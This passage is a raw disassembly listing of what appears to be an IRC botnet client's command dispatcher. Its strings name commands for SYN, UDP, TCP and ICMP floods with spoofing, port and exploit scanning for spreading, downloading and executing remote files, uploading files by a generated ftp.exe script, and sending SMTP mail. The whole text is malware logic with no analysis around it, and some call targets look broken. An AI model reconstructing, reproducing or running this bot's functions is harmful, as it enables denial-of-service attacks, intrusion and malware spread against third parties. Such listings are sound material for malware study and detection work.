jz short loc_410EDA
push eax
push [ebp+var_C]
call sub_417880
pop ecx
mov [ebp+arg_0], eax
pop ecx
loc_410EDA: ; CODE XREF: sub_40EE72+2058j
push edi
push offset aStart ; "start"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_410F26
cmp [ebp+arg_18], ebx
jz short loc_410EFA
push [ebp+arg_0]
push 3
jmp loc_410F84
; ---------------------------------------------------------------------------
loc_410EFA: ; CODE XREF: sub_40EE72+207Cj
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D9B3
add esp, 0Ch
test eax, eax
jz short loc_410F1C
push offset dword_431F6C
jmp loc_4110CE
; ---------------------------------------------------------------------------
loc_410F1C: ; CODE XREF: sub_40EE72+209Ej
push offset dword_431F3C
jmp loc_4110CE
; ---------------------------------------------------------------------------
loc_410F26: ; CODE XREF: sub_40EE72+2077j
push edi
push offset aStop ; "stop"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_410F3E
push [ebp+arg_0]
push 4
jmp short loc_410F84
; ---------------------------------------------------------------------------
loc_410F3E: ; CODE XREF: sub_40EE72+20C3j
push edi
push offset aPause ; "pause"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_410F56
push [ebp+arg_0]
push 5
jmp short loc_410F84
; ---------------------------------------------------------------------------
loc_410F56: ; CODE XREF: sub_40EE72+20DBj
push edi
push offset aContinue ; "continue"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_410F6E
push [ebp+arg_0]
push 6
jmp short loc_410F84
; ---------------------------------------------------------------------------
loc_410F6E: ; CODE XREF: sub_40EE72+20F3j
push edi
push offset aDelete ; "delete"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_410F90
push [ebp+arg_0]
push 1
loc_410F84: ; CODE XREF: sub_40EE72+2083j
; sub_40EE72+20CAj ...
call sub_40D719
pop ecx
pop ecx
jmp loc_4110AB
; ---------------------------------------------------------------------------
loc_410F90: ; CODE XREF: sub_40EE72+210Bj
push edi
push offset aShare ; "share"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_410FFB
cmp [ebp+arg_18], ebx
jz short loc_410FCE
cmp [ebp+var_9C4], bl
jz short loc_410FC1
push ebx
push [ebp+arg_18]
push 1
loc_410FB4: ; CODE XREF: sub_40EE72+215Aj
call sub_40DAF0
add esp, 0Ch
jmp loc_4110AB
; ---------------------------------------------------------------------------
loc_410FC1: ; CODE XREF: sub_40EE72+213Aj
push [ebp+esi+var_88]
push [ebp+arg_18]
push ebx
jmp short loc_410FB4
; ---------------------------------------------------------------------------
loc_410FCE: ; CODE XREF: sub_40EE72+2132j
push ebx
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40DCE6
add esp, 10h
test eax, eax
jz short loc_410FF1
push offset dword_431EE0
jmp loc_4110CE
; ---------------------------------------------------------------------------
loc_410FF1: ; CODE XREF: sub_40EE72+2173j
push offset dword_431EB0
jmp loc_4110CE
; ---------------------------------------------------------------------------
loc_410FFB: ; CODE XREF: sub_40EE72+212Dj
push edi
push offset aUser ; "user"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_41107E
mov eax, [ebp+arg_18]
cmp eax, ebx
jz short loc_411057
cmp [ebp+var_9C4], bl
jz short loc_41102D
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
push ebx
push eax
push 1
jmp short loc_411047
; ---------------------------------------------------------------------------
loc_41102D: ; CODE XREF: sub_40EE72+21A7j
push [ebp+var_4]
mov esi, [ebp+esi+var_88]
cmp esi, ebx
push [ebp+var_8C]
push [ebp+arg_4]
jz short loc_411051
push esi
push eax
push ebx
loc_411047: ; CODE XREF: sub_40EE72+21B9j
; sub_40EE72+21E3j
call sub_40DE07
add esp, 18h
jmp short loc_4110AB
; ---------------------------------------------------------------------------
loc_411051: ; CODE XREF: sub_40EE72+21D0j
push ebx
push eax
push 2
jmp short loc_411047
; ---------------------------------------------------------------------------
loc_411057: ; CODE XREF: sub_40EE72+219Fj
push ebx
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40E337
add esp, 10h
test eax, eax
jz short loc_411077
push offset dword_431E78
jmp short loc_4110CE
; ---------------------------------------------------------------------------
loc_411077: ; CODE XREF: sub_40EE72+21FCj
push offset dword_431E4C
jmp short loc_4110CE
; ---------------------------------------------------------------------------
loc_41107E: ; CODE XREF: sub_40EE72+2198j
push edi
push offset aSend ; "send"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_4110C9
cmp [ebp+arg_18], ebx
jz short loc_4110C2
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40E5EB
add esp, 10h
loc_4110AB: ; CODE XREF: sub_40EE72+2119j
; sub_40EE72+214Aj ...
push eax
push offset aS_1 ; "%s"
loc_4110B1: ; CODE XREF: sub_40EE72+4852j
; sub_40EE72+4B79j ...
lea eax, [ebp+var_2DC]
push eax
call sub_4172B0
loc_4110BD: ; CODE XREF: sub_40EE72+5703j
add esp, 0Ch
jmp short loc_4110DC
; ---------------------------------------------------------------------------
loc_4110C2: ; CODE XREF: sub_40EE72+2220j
push offset dword_431E1C
jmp short loc_4110CE
; ---------------------------------------------------------------------------
loc_4110C9: ; CODE XREF: sub_40EE72+221Bj
push offset dword_431DF0
loc_4110CE: ; CODE XREF: sub_40EE72+203Bj
; sub_40EE72+20A5j ...
lea eax, [ebp+var_2DC]
push eax
call sub_4172B0
pop ecx
pop ecx
loc_4110DC: ; CODE XREF: sub_40EE72+2043j
; sub_40EE72+224Ej ...
cmp [ebp+var_8], ebx
jnz short loc_4110FD
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D679
add esp, 14h
loc_4110FD: ; CODE XREF: sub_40EE72+226Dj
; sub_40EE72+4847j ...
mov esi, [ebp+arg_24]
loc_411100: ; CODE XREF: sub_40EE72+9B3j
; sub_40EE72+4B35j ...
lea eax, [ebp+var_2DC]
push eax
call sub_40BF6D
pop ecx
mov eax, esi
jmp loc_40F23C
; ---------------------------------------------------------------------------
loc_411114: ; CODE XREF: sub_40EE72+2020j
push [ebp+arg_8]
push offset aCom_capture ; "com.capture"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413400
push [ebp+arg_8]
push offset aCom_cap ; "com.cap"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413400
push [ebp+arg_8]
push offset aIrc_gethost ; "irc.gethost"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413312
push [ebp+arg_8]
push offset aIrc_gh ; "irc.gh"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413312
mov eax, [ebp+esi+var_8C]
cmp eax, ebx
mov [ebp+arg_18], eax
jz loc_40F239
push [ebp+arg_8]
push offset aIrc_addalias ; "irc.addalias"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4132E0
push [ebp+arg_8]
push offset aIrc_aa ; "irc.aa"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4132E0
push [ebp+arg_8]
push offset aIrc_privmsg ; "irc.privmsg"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_41328A
push [ebp+arg_8]
push offset aIrc_pm ; "irc.pm"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_41328A
push [ebp+arg_8]
push offset aIrc_action ; "irc.action"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413224
push [ebp+arg_8]
push offset aIrc_ac ; "irc.ac"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413224
push [ebp+arg_8]
push offset aIrc_cycle ; "irc.cycle"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4131BB
push [ebp+arg_8]
push offset aIrc_cy ; "irc.cy"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4131BB
push [ebp+arg_8]
push offset aIrc_mode ; "irc.mode"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413181
push [ebp+arg_8]
push offset aIrc_m ; "irc.m"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413181
push [ebp+arg_8]
push offset aClone_raw ; "clone.raw"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413113
push [ebp+arg_8]
push offset aClone_ra ; "clone.ra"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413113
push [ebp+arg_8]
push offset aClone_mode ; "clone.mode"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_41308E
push [ebp+arg_8]
push offset aClone_m ; "clone.m"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_41308E
push [ebp+arg_8]
push offset aClone_nick ; "clone.nick"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413022
push [ebp+arg_8]
push offset aClone_ni ; "clone.ni"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_413022
push [ebp+arg_8]
push offset aClone_join ; "clone.join"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_412FFC
push [ebp+arg_8]
push offset aClone_j ; "clone.j"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_412FFC
push [ebp+arg_8]
push offset aClone_part ; "clone.part"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_412F99
push [ebp+arg_8]
push offset aClone_p ; "clone.p"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_412F99
push [ebp+arg_8]
push offset aIrc_repeat ; "irc.repeat"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_412ED0
push [ebp+arg_8]
push offset aIrc_rp ; "irc.rp"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_412ED0
push [ebp+arg_8]
push offset aIrc_delay ; "irc.delay"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_412E33
push [ebp+arg_8]
push offset aIrc_de ; "irc.de"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_412E33
push [ebp+arg_8]
push offset aDownload_updat ; "download.update"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_412CAF
push [ebp+arg_8]
push offset aDownload_up ; "download.up"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_412CAF
push [ebp+arg_8]
push offset aCom_execute ; "com.execute"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_412C1C
push [ebp+arg_8]
push offset aCom_e ; "com.e"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_412C1C
push [ebp+arg_8]
push offset aFindfile ; "findfile"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_412B1B
push [ebp+arg_8]
push offset aFf ; "ff"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_412B1B
push [ebp+arg_8]
push offset aCom_rename ; "com.rename"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_412AC9
push [ebp+arg_8]
push offset aCom_mv ; "com.mv"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_412AC9
push [ebp+arg_8]
push offset aDdos_icmp ; "ddos.icmp"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4129C8
push [ebp+arg_8]
push offset aDdos_ic ; "ddos.ic"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4129C8
mov eax, [ebp+esi+var_88]
cmp eax, ebx
mov [ebp+arg_0], eax
jz loc_40F239
push [ebp+arg_8]
push offset aClone_make ; "clone.make"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4128DD
push [ebp+arg_8]
push offset aClone_start ; "clone.start"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4128DD
push [ebp+arg_8]
push offset aDdos_syn ; "ddos.syn"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4127D8
push [ebp+arg_8]
push offset aDdos_ack ; "ddos.ack"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4127D8
push [ebp+arg_8]
push offset aDdos_random ; "ddos.random"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4127D8
push [ebp+arg_8]
push offset aDdos_synflood ; "ddos.synflood"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4126DA
push [ebp+arg_8]
push offset aDdos_synf ; "ddos.synf"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4126DA
push [ebp+arg_8]
push offset aDownload_wget ; "download.wget"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_412599
push [ebp+arg_8]
push offset aDownload_wg ; "download.wg"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_412599
push [ebp+arg_8]
push offset aDaemon_redirec ; "daemon.redirect"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_41249C
push [ebp+arg_8]
push offset aDaemon_rd ; "daemon.rd"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_41249C
push [ebp+arg_8]
push offset aRoot_portscan ; "root.portscan"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4123A9
push [ebp+arg_8]
push offset aRoot_ps ; "root.ps"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4123A9
push [ebp+arg_8]
push offset aClone_privmsg ; "clone.privmsg"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4122D4
push [ebp+arg_8]
push offset aClone_pm ; "clone.pm"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4122D4
push [ebp+arg_8]
push offset aClone_action ; "clone.action"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4121BC
push [ebp+arg_8]
push offset aClone_ac ; "clone.ac"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_4121BC
mov eax, [ebp+esi+var_84]
cmp eax, ebx
mov [ebp+arg_10], eax
jz loc_40F239
push [ebp+arg_8]
push offset aAdvscan ; "advscan"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_411E65
push [ebp+arg_8]
push offset aAdv ; "adv"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_411E65
push [ebp+arg_8]
push offset aDdos_udpflood ; "ddos.udpflood"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_411D42
push [ebp+arg_8]
push offset aDdos_udpf ; "ddos.udpf"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_411D42
push [ebp+arg_8]
push offset aU ; "u"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_411D42
push [ebp+arg_8]
push offset aDdos_pingflood ; "ddos.pingflood"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_411BFE
push [ebp+arg_8]
push offset aDdos_pingf ; "ddos.pingf"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_411BFE
push [ebp+arg_8]
push offset aP ; "p"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_411BFE
push [ebp+arg_8]
push offset aDdos_tcpflood ; "ddos.tcpflood"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_411A65
push [ebp+arg_8]
push offset aDdos_tcpf ; "ddos.tcpf"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_411A65
push [ebp+arg_8]
push offset aUtil_email ; "util.email"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz loc_41189C
lea eax, [ebp+var_3F8]
push edi
push eax
call sub_4179C0
push [ebp+arg_18]
call sub_41781F
push [ebp+arg_0]
mov [ebp+arg_18], eax
lea eax, [ebp+var_DB0]
push eax
call sub_4179C0
push [ebp+arg_10]
lea eax, [ebp+var_BA8]
push eax
call sub_4179C0
push offset asc_42A3B4 ; " "
push offset a__0 ; "_"
push [ebp+esi+var_80]
call sub_40A7D7
push eax
lea eax, [ebp+var_55C]
push eax
call sub_4179C0
add esp, 30h
lea eax, [ebp+var_6EC]
push eax
push 101h
call dword_43AD10
lea eax, [ebp+var_3F8]
push eax
call dword_43AE1C
push 6
push 1
push 2
mov edi, eax
call dword_43AE18
push [ebp+arg_18]
mov esi, eax
mov [ebp+var_2EC], 2
mov eax, [edi+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_2E8], eax
call dword_43AD98
mov [ebp+var_2EA], ax
lea eax, [ebp+var_55C]
push eax
lea eax, [ebp+var_DB0]
push eax
lea eax, [ebp+var_55C]
push eax
lea eax, [ebp+var_BA8]
push eax
lea eax, [ebp+var_DB0]
push eax
lea eax, [ebp+var_15B0]
push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
push eax
call sub_4172B0
add esp, 1Ch
lea eax, [ebp+var_2EC]
push 10h
push eax
push esi
call dword_43AD40
mov edi, 100h
push ebx
lea eax, [ebp+var_CAC]
push edi
push eax
push esi
call dword_43ADB0
lea eax, [ebp+var_CAC]
push ebx
push eax
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+var_15B0]
push eax
push esi
call dword_43ADE8
push ebx
lea eax, [ebp+var_CAC]
push edi
push eax
push esi
call dword_43ADB0
push esi
call dword_43AE30
call dword_43ACF8
lea eax, [ebp+var_BA8]
push eax
push offset unk_431AA4
loc_411888: ; CODE XREF: sub_40EE72+3B51j
; sub_40EE72+3E38j ...
lea eax, [ebp+var_2DC]
push eax
call sub_4172B0
add esp, 0Ch
jmp loc_413A62
; ---------------------------------------------------------------------------
loc_41189C: ; CODE XREF: sub_40EE72+28C0j
push [ebp+arg_8]
push offset aUtil_httpcon ; "util.httpcon"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_411A34
push [ebp+arg_8]
push offset aUtil_hcon ; "util.hcon"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz loc_411A34
mov esi, [ebp+esi+var_80]
cmp esi, ebx
jz loc_40F239
push [ebp+arg_8]
push offset aFtp_upload ; "ftp.upload"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz loc_414F47
push 4
push esi
call sub_40D000
pop ecx
test eax, eax
pop ecx
jnz short loc_411906
push esi
push offset dword_431A4C
jmp loc_413BFD
; ---------------------------------------------------------------------------
loc_411906: ; CODE XREF: sub_40EE72+2A87j
call near ptr 261077Ch
nop
push eax
call sub_417302
pop ecx
call sub_41730C
push 9
cdq
pop ecx
idiv ecx
push edx
call sub_41730C
push 63h
cdq
pop ecx
idiv ecx
push edx
call sub_41730C
cdq
mov ecx, 3E7h
idiv ecx
lea eax, [ebp+var_CB0]
push edx
push eax
lea eax, [ebp+var_BAC]
push offset aSIII_dll ; "%s\\%i%i%i.dll"
push eax
call sub_4172B0
lea eax, [ebp+var_BAC]
push offset aAb ; "ab"
push eax
call sub_4179A8
add esp, 20h
cmp eax, ebx
mov [ebp+arg_24], eax
jz loc_40F239
push esi
push [ebp+arg_10]
push [ebp+arg_0]
push [ebp+arg_18]
push edi
push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
push eax
call sub_417956
push [ebp+arg_24]
call sub_417900
add esp, 20h
lea eax, [ebp+var_BAC]
push eax
lea eax, [ebp+var_3F8]
push offset aSS_4 ; "-s:%s"
push eax
call sub_4172B0
add esp, 0Ch
lea eax, [ebp+var_3F8]
push ebx
push ebx
push eax
push offset aFtp_exe ; "ftp.exe"
push offset aOpen ; "open"
push ebx
call dword_43AD0C
test eax, eax
push edi
push esi
jz short loc_4119D3
push offset dword_4319D4
jmp short loc_4119D8
; ---------------------------------------------------------------------------
loc_4119D3: ; CODE XREF: sub_40EE72+2B58j
push offset dword_431998
loc_4119D8: ; CODE XREF: sub_40EE72+2B5Fj
call sub_4172B0
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_411A01
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D679
add esp, 14h
loc_411A01: ; CODE XREF: sub_40EE72+2B71j
lea eax, [ebp+var_2DC]
push eax
call sub_40BF6D
loc_411A0D: ; CODE XREF: sub_40EE72+2BC0j
lea eax, [ebp+var_BAC]
push 4
push eax
call sub_40D000
add esp, 0Ch
test eax, eax
jz loc_40F239
lea eax, [ebp+var_BAC]
push eax
call sub_419BBA
jmp short loc_411A0D
; ---------------------------------------------------------------------------
loc_411A34: ; CODE XREF: sub_40EE72+2A3Bj
; sub_40EE72+2A52j
push [ebp+esi+var_80]
push [ebp+arg_10]
push [ebp+arg_0]
push [ebp+arg_18]
call sub_41781F
pop ecx
push eax
push edi
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_406AF8
loc_411A5D: ; CODE XREF: sub_40EE72+587Aj
add esp, 24h
jmp loc_414F47
; ---------------------------------------------------------------------------
loc_411A65: ; CODE XREF: sub_40EE72+2892j
; sub_40EE72+28A9j
mov esi, 80h
push edi
lea eax, [ebp+var_678]
push esi
push eax
call sub_41782A
lea eax, [ebp+var_678]
push eax
push offset aSyn ; "syn"
call sub_4176D0
add esp, 14h
test eax, eax
jz short loc_411AC8
lea eax, [ebp+var_678]
push eax
push offset aAck ; "ack"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz short loc_411AC8
lea eax, [ebp+var_678]
push eax
push offset aRandom ; "random"
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz short loc_411AC8
push offset dword_431960
jmp loc_4145FE
; ---------------------------------------------------------------------------
loc_411AC8: ; CODE XREF: sub_40EE72+2C1Cj
; sub_40EE72+2C33j ...
push [ebp+arg_10]
call sub_41781F
cmp eax, ebx
pop ecx
mov [ebp+var_570], eax
jle loc_411BF4
push edi
lea eax, [ebp+var_678]
push esi
push eax
call sub_41782A
add esp, 0Ch
lea eax, [ebp+var_6F8]
push [ebp+arg_18]
push esi
push eax
call sub_41782A
push [ebp+arg_0]
call sub_41781F
mov [ebp+var_574], eax
add esp, 10h
xor eax, eax
cmp [ebp+var_9B6], bl
push [ebp+var_8C]
setnz al
mov [ebp+var_56C], eax
mov eax, [ebp+arg_4]
mov [ebp+var_6FC], eax
lea eax, [ebp+var_5F8]
push esi
push eax
call sub_41782A
mov eax, [ebp+var_4]
add esp, 0Ch
cmp [ebp+var_56C], ebx
mov [ebp+var_568], eax
mov eax, [ebp+var_8]
mov [ebp+var_564], eax
mov eax, offset aSpoofed ; "Spoofed"
jnz short loc_411B65
mov eax, offset aNormal ; "Normal"
loc_411B65: ; CODE XREF: sub_40EE72+2CECj
push [ebp+arg_10]
push [ebp+arg_0]
push [ebp+arg_18]
push edi
push eax
push offset dword_43190C
lea eax, [ebp+var_2DC]
push 200h
push eax
call sub_41782A
push ebx
lea eax, [ebp+var_2DC]
push 0Ch
push eax
call sub_416D5C
add esp, 2Ch
mov [ebp+var_578], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_6FC]
push ebx
push eax
push offset sub_401D82
push ebx
push ebx
nop
call near ptr 2690C63h
mov ecx, [ebp+var_578]
imul ecx, 234h
cmp eax, ebx
mov dword_440804[ecx], eax
jz short loc_411BE3
loc_411BCD: ; CODE XREF: sub_40EE72+2D6Fj
cmp [ebp+var_560], ebx
jnz loc_41460C
push 32h
call near ptr 2610E88h
nop
jmp short loc_411BCD
; ---------------------------------------------------------------------------
loc_411BE3: ; CODE XREF: sub_40EE72+2D59j
nop
call near ptr 2660B07h
push eax
push offset dword_4318C4
jmp loc_413BFD
; ---------------------------------------------------------------------------
loc_411BF4: ; CODE XREF: sub_40EE72+2C67j
push offset dword_43187C
jmp loc_4145FE
; ---------------------------------------------------------------------------
loc_411BFE: ; CODE XREF: sub_40EE72+284Dj
; sub_40EE72+2864j ...
cmp dword_43AE88, ebx
mov esi, [ebp+arg_4]
jnz loc_411D09
mov eax, [ebp+var_8]
push 7Fh
mov [ebp+var_300], eax
mov eax, [ebp+var_4]
mov [ebp+var_304], eax
lea eax, [ebp+var_398]
push edi
push eax
call sub_418C10
push [ebp+arg_18]
call sub_41781F
push [ebp+arg_0]
mov [ebp+var_318], eax
call sub_41781F
push [ebp+arg_10]
mov [ebp+var_314], eax
call sub_41781F
push 7Fh
mov [ebp+var_310], eax
push [ebp+var_8C]
lea eax, [ebp+var_418]
push eax
call sub_418C10
add esp, 24h
lea eax, [ebp+var_398]
mov [ebp+var_41C], esi
push [ebp+var_310]
push [ebp+var_314]
push eax
lea eax, [ebp+var_2DC]
push [ebp+var_318]
push offset unk_431824
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2DC]
push 0Eh
push eax
call sub_416D5C
add esp, 24h
mov [ebp+var_308], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_41C]
push ebx
push eax
push offset sub_40AF86
push ebx
push ebx
nop
call near ptr 2690C63h
mov ecx, [ebp+var_308]
imul ecx, 234h
cmp eax, ebx
mov dword_440804[ecx], eax
jz short loc_411CF8
loc_411CE6: ; CODE XREF: sub_40EE72+2E84j
cmp [ebp+var_2FC], ebx
jnz short loc_411D22
push 32h
call near ptr 2610E88h
nop
jmp short loc_411CE6
; ---------------------------------------------------------------------------
loc_411CF8: ; CODE XREF: sub_40EE72+2E72j
nop
call near ptr 2660B07h
push eax
push offset unk_4317DC
jmp loc_4128CC
; ---------------------------------------------------------------------------
loc_411D09: ; CODE XREF: sub_40EE72+2D95j
push 1FFh
lea eax, [ebp+var_2DC]
push offset aIcmp_dllNotAva ; "ICMP.dll not available"
push eax
call sub_418C10
loc_411D1F: ; CODE XREF: sub_40EE72+3A66j
add esp, 0Ch
loc_411D22: ; CODE XREF: sub_40EE72+2E7Aj
; sub_40EE72+2FD2j ...
cmp [ebp+var_8], ebx
jnz loc_414E11
push ebx
push [ebp+var_4]
loc_411D2F: ; CODE XREF: sub_40EE72+567Ej
lea eax, [ebp+var_2DC]
push eax
push [ebp+var_8C]
push esi
jmp loc_414629
; ---------------------------------------------------------------------------
loc_411D42: ; CODE XREF: sub_40EE72+2808j
; sub_40EE72+281Fj ...
mov eax, [ebp+var_8]
push 7Fh
mov [ebp+var_300], eax
mov eax, [ebp+var_4]
mov [ebp+var_304], eax
lea eax, [ebp+var_398]
push edi
push eax
call sub_418C10
push [ebp+arg_18]
call sub_41781F
push [ebp+arg_0]
mov [ebp+var_318], eax
call sub_41781F
push [ebp+arg_10]
mov [ebp+var_314], eax
call sub_41781F
mov esi, [ebp+esi+var_80]
add esp, 18h
cmp esi, ebx
mov [ebp+var_310], eax
jz short loc_411DA7
push esi
call sub_41781F
pop ecx
mov [ebp+var_30C], eax
jmp short loc_411DAD
; ---------------------------------------------------------------------------
loc_411DA7: ; CODE XREF: sub_40EE72+2F24j
mov [ebp+var_30C], ebx
loc_411DAD: ; CODE XREF: sub_40EE72+2F33j
push 7Fh
lea eax, [ebp+var_418]
push [ebp+var_8C]
push eax
call sub_418C10
add esp, 0Ch
mov esi, [ebp+arg_4]
lea eax, [ebp+var_398]
mov [ebp+var_41C], esi
push [ebp+var_310]
push [ebp+var_314]
push eax
lea eax, [ebp+var_2DC]
push [ebp+var_318]
push offset dword_43176C
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2DC]
push 0Fh
push eax
call sub_416D5C
add esp, 24h
mov [ebp+var_308], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_41C]
push ebx
push eax
push offset sub_40B112
push ebx
push ebx
nop
call near ptr 2690C63h
mov ecx, [ebp+var_308]
imul ecx, 234h
cmp eax, ebx
mov dword_440804[ecx], eax
jz short loc_411E54
loc_411E3E: ; CODE XREF: sub_40EE72+2FE0j
cmp [ebp+var_2FC], ebx
jnz loc_411D22
push 32h
call near ptr 2610E88h
nop
jmp short loc_411E3E
; ---------------------------------------------------------------------------
loc_411E54: ; CODE XREF: sub_40EE72+2FCAj
nop
call near ptr 2660B07h
push eax
push offset dword_431724
jmp loc_4128CC
; ---------------------------------------------------------------------------
loc_411E65: ; CODE XREF: sub_40EE72+27DAj
; sub_40EE72+27F1j
push 8
call sub_416FA4
push [ebp+arg_18]
mov [ebp+arg_8], eax
call sub_41781F
add eax, [ebp+arg_8]
pop ecx
pop ecx
cmp eax, 3E8h
jle short loc_411EB8
push [ebp+arg_8]
lea eax, [ebp+var_2DC]
push offset unk_4316D8
push eax
call sub_4172B0
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40D679
add esp, 20h
jmp loc_414F47
; ---------------------------------------------------------------------------
loc_411EB8: ; CODE XREF: sub_40EE72+300Fj
push edi
call sub_41781F
push [ebp+arg_18]
mov [ebp+var_330], eax
call sub_41781F
push [ebp+arg_0]
mov [ebp+var_318], eax
call sub_41781F
add esp, 0Ch
cmp eax, 2
mov [ebp+var_32C], eax
jnb short loc_411EF1
push 2
pop eax
mov [ebp+var_32C], eax
loc_411EF1: ; CODE XREF: sub_40EE72+3074j
push 3Ch
pop ecx
cmp eax, ecx
jbe short loc_411EFE
mov [ebp+var_32C], ecx
loc_411EFE: ; CODE XREF: sub_40EE72+3084j
push [ebp+arg_10]
call sub_41781F
cmp eax, 270Fh
pop ecx
mov [ebp+var_328], eax
jbe short loc_411F1E
mov [ebp+var_328], 270Fh
loc_411F1E: ; CODE XREF: sub_40EE72+30A0j
or [ebp+var_314], 0FFFFFFFFh
cmp dword_42ACB0, ebx
mov [ebp+arg_0], ebx
jz short loc_411F74
mov [ebp+arg_24], offset dword_42ACB0
loc_411F37: ; CODE XREF: sub_40EE72+30E4j
mov eax, [ebp+arg_24]
push edi
